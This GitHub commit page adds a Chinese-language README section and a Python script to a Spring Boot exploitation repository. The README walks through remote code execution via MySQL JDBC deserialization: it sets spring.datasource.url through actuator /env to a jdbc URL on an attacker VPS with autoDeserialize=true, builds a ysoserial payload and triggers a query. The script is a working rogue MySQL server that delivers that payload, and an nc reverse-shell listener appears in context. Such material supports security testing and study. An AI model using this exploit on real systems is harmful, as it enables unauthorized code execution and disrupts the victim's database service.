Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 7ce2a1b

Browse files
committed
add springboot-jdbc-deserialization-rce script
1 parent 918b2b5 commit 7ce2a1b

File tree

2 files changed

+220
-3
lines changed

2 files changed

+220
-3
lines changed

‎README.md

Lines changed: 118 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -485,7 +485,7 @@ nc -lvp 443
485485

486486
##### 步骤五:发送恶意 payload
487487

488-
根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,使用 python 在自己控制的服务器上运行以上的脚本即可
488+
根据实际情况修改 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行
489489

490490

491491

@@ -519,7 +519,7 @@ nc -lvp 443
519519

520520
##### 步骤一:设置 spring.datasource.hikari.connection-test-query 属性
521521

522-
> 注意:下面payload 中的 'T5' 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发
522+
> ⚠️ 下面payload 中的 'T5' 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发
523523
524524

525525

@@ -580,10 +580,125 @@ Content-Type: application/json
580580

581581

582582

583-
### 0x07:jdbc url deserialization RCE
583+
### 0x07:mysql jdbc deserialization RCE
584+
585+
#### **利用条件:**
586+
587+
- 可以 POST 请求目标网站的 `/env` 接口设置属性
588+
- 可以 POST 请求目标网站的 `/refresh` 接口刷新配置(存在 spring-boot-starter-actuator 组件)
589+
- 目标环境中存在 `mysql-connector-java` 依赖
590+
- 目标可以请求攻击者的服务器(请求可出外网)
591+
592+
593+
594+
#### **利用方法:**
595+
596+
##### 步骤一:查看环境依赖
597+
598+
GET 请求 `/env``/actuator/env`,搜索环境变量(classpath)中是否有 `mysql-connector-java` 关键词,并记录下其版本号(5.x 或 8.x);
599+
600+
搜索并观察环境变量中是否存在常见的反序列化 gadget,比如 `commons-collections``Jdk7u21``Jdk8u20` 等;
601+
602+
搜索 `spring.datasource.url` 关键词,记录下其 `value` 值,方便后续恢复其正常 jdbc url 值。
603+
604+
605+
606+
##### 步骤二:架设恶意 rogue mysql server
607+
608+
在自己控制的服务器上运行 [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) 脚本,并在使用 [ysoserial](https://github.com/frohoff/ysoserial) ,自定义要执行的命令:
609+
610+
```bash
611+
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
612+
```
613+
614+
在脚本**同目录下**生成 `payload.ser` 反序列化 payload 文件,供脚本使用。
615+
584616

585617

618+
##### 步骤三:设置 spring.datasource.url 属性
586619

620+
> ⚠️ 修改此属性会暂时导致网站所有的正常数据库操作不可用,会对业务造成影响,请谨慎使用!
621+
622+
623+
624+
mysql-connector-java 5.x 版本设置**属性值**为:
625+
626+
```
627+
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
628+
```
629+
630+
mysql-connector-java 8.x 版本设置**属性值**为:
631+
632+
```
633+
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
634+
```
635+
636+
637+
638+
spring 1.x
639+
640+
```
641+
POST /env HTTP/1.1
642+
Content-Type: application/x-www-form-urlencoded
643+
644+
spring.datasource.url=对应属性值
645+
```
646+
647+
spring 2.x
648+
649+
```
650+
POST /actuator/env HTTP/1.1
651+
Content-Type: application/json
652+
653+
{"name":"spring.datasource.url","value":"对应属性值"}
654+
```
655+
656+
657+
658+
##### 步骤四:刷新配置
659+
660+
spring 1.x
661+
662+
```
663+
POST /refresh HTTP/1.1
664+
Content-Type: application/x-www-form-urlencoded
665+
666+
```
667+
668+
spring 2.x
669+
670+
```
671+
POST /actuator/refresh HTTP/1.1
672+
Content-Type: application/json
673+
674+
```
675+
676+
677+
678+
##### 步骤五:触发数据库查询
679+
680+
尝试访问网站已知的数据库查询的接口,例如: `/product/list` ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
681+
682+
683+
684+
##### 步骤六:恢复正常 jdbc url
685+
686+
反序列化漏洞利用完成后,使用 **步骤三** 的方法恢复 **步骤一** 中记录的 `spring.datasource.url` 的原始 `value`
687+
688+
689+
690+
#### **漏洞原理:**
691+
692+
1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
693+
2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值
694+
3. 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接
695+
4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据
696+
5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞
697+
698+
699+
700+
#### **漏洞分析:**
587701

702+
[New-Exploit-Technique-In-Java-Deserialization-Attack](https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf)
588703

589704

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
#!/usr/bin/env python
2+
# coding: utf-8
3+
# -**- Author: LandGrey -**-
4+
5+
import os
6+
import socket
7+
import binascii
8+
9+
10+
def server_send(conn, payload):
11+
global count
12+
count += 1
13+
print("[*] Package order: {}, Send: {}".format(count, payload))
14+
conn.send(binascii.a2b_hex(payload))
15+
16+
17+
def server_receive(conn):
18+
global count, BUFFER_SIZE
19+
20+
count += 1
21+
data = conn.recv(BUFFER_SIZE)
22+
print("[*] Package order: {}, Receive: {}".format(count, data))
23+
return str(data).lower()
24+
25+
26+
def run_mysql_server():
27+
global count, deserialization_payload
28+
29+
while True:
30+
count = 0
31+
conn, addr = server_socks.accept()
32+
print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
33+
greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
34+
server_send(conn, greeting)
35+
if os.path.isfile(deserialization_file):
36+
with open(deserialization_file, 'rb') as _f:
37+
deserialization_payload = binascii.b2a_hex(_f.read())
38+
while True:
39+
# client auth
40+
server_receive(conn)
41+
server_send(conn, response_ok)
42+
43+
# client query
44+
data = server_receive(conn)
45+
if "session.auto_increment_increment" in data:
46+
_payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
47+
server_send(conn, _payload)
48+
data = server_receive(conn)
49+
if "show warnings" in data:
50+
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
51+
server_send(conn, _payload)
52+
data = server_receive(conn)
53+
if "set names" in data:
54+
server_send(conn, response_ok)
55+
data = server_receive(conn)
56+
if "set character_set_results" in data:
57+
server_send(conn, response_ok)
58+
data = server_receive(conn)
59+
if "show session status" in data:
60+
_data = '0100000102'
61+
_data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
62+
_data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
63+
_payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
64+
_payload_length = _payload_hex[2:4] + _payload_hex[0:2]
65+
_data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
66+
_data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
67+
_data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
68+
_data += '07000005fe000022000100'
69+
server_send(conn, _data)
70+
data = server_receive(conn)
71+
if "show warnings" in data:
72+
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
73+
server_send(conn, _payload)
74+
75+
break
76+
try:
77+
conn.close()
78+
except Exception as e:
79+
pass
80+
81+
82+
if __name__ == "__main__":
83+
HOST = "0.0.0.0"
84+
PORT = 3306
85+
86+
deserialization_file = r'payload.ser'
87+
if os.path.isfile(deserialization_file):
88+
with open(deserialization_file, 'rb') as f:
89+
deserialization_payload = binascii.b2a_hex(f.read())
90+
else:
91+
deserialization_payload = 'aced****(your deserialized hex data)'
92+
93+
count = 0
94+
BUFFER_SIZE = 1024
95+
response_ok = '0700000200000002000000'
96+
print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
97+
server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
98+
server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
99+
server_socks.bind((HOST, PORT))
100+
server_socks.listen(1)
101+
102+
run_mysql_server()

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /